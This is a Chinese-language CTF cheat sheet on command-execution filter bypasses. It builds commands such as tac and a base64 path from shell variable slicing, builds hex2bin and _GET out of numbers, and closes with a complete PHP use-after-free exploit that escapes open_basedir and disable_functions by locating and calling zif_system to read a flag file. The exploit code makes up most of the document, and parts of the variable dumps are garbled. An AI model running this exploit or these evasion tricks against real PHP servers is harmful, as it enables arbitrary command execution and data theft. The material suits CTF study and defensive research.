二、命令执行
2.7 常见的绕过姿势
2.7.6 系统命令构造数字
- {_} = ""
- $(())=0
- $((~$(())))=-1
2.7.7 服务器变量构造查询语句
a.常见的系统变量
- 系统变量:
PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI
LE_OFFSET_BITS=64
PHP_VERSION=7.3.22
SHLVL=2
[PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[HOSTNAME] => glot-runner
[PHPIZE_DEPS] => autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
[PHP_INI_DIR] => /usr/local/etc/php
PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2
[PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2
[PHP_LDFLAGS] => -Wl,-O1 -Wl,--hash-style=both -pie
[GPG_KEYS] => 1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2 D6021E995DC9FF8D3EE5AF27F
[PHP_VERSION] => 7.2.1
[PHP_URL] => https://secure.php.net/get/php-7.2.1.tar.xz/from/this/mir ror
[PHP_ASC_URL] => https://secure.php.net/get/php-7.2.1.tar.xz.asc/from/ this/mirror
[PHP_SHA256] => 6c6cf82fda6660ed963821eb0525214bb3547e8e29f447b9c15b2d 8e6efd8822
[PHP_MD5] =>
[HOME] => /home/glot
[PHP_SELF] => /tmp/543750210/main.php
[SCRIPT_NAME] => /tmp/543750210/main.php
[SCRIPT_FILENAME] => /tmp/543750210/main.php
[PATH_TRANSLATED] => /tmp/543750210/main.php
[DOCUMENT_ROOT] =>
[REQUEST_TIME_FLOAT] => 1524198667.12
[REQUEST_TIME] => 1524198667
[argv] => Array
(
[0] => /tmp/543750210/main.php
)
[argc] => 1
)
b.构建tac
tac====>${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}
首先获取到3以便于得到
PHP_CFLAGS
中的tac:
从
PHP_VERSION 中截取
${PHP_VERSION:2:1}
//切片操作
这里的2: 可以用 ${PHP_VERSION:~A}
得到字符串的最后⼀位
这里的1: 可以用 ${~SHLVL}
得到,因为按位取反10取反得到01所以
~
2=1
;
因此:
3=${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}
最终的tac命令:
a.
${PHP_CFLAGS:3:3}
//切⽚操作,也就是上⾯3的语句直接复制⼀遍
也就是:
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:${~SHLVL}}:${
PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}
//得到tac指令
c.构建base64
PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI LE_OFFSET_BITS=64
PHP_VERSION=7.3.22
SHLVL=2
???? //代表base
${#PHP_VERSION}${PHP_CFLAGS:~A} //代表64
//题目需要base64命令的绝对路径:
${PWD::${#SHLVL}} //代表'/'
${#SHLVL} //#用来求变量值的长度
//初次完整的命令:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}????${#PHP_VERSION}${PHP_CFLAGS:~A} ????.??? //长度超过//限制需要缩减
// 随机数:
${RANDOM} //随机代表一个数
${#RANDOM} //代表这个随机数的长度
//由于64代表的字符串过长,将6代表的字符串去掉(用?代替)将4代表的字符串用随机数的长度字符串代替
//最终的语句:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? //带有随机性,只要${RANDOM}//是一个四位数就可以,多试几次
2.7.8 以数字和不敏感函数构造敏感函数
- base_convert(1231231131,10,36) ===>hex2bin
- hex2bin(dechex(1598506324))=======>_GET
- $hex2bin(dechex(1598506324))=======>$_GET
2.7.9 open_basedir()绕过
a.传脚本绕过
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>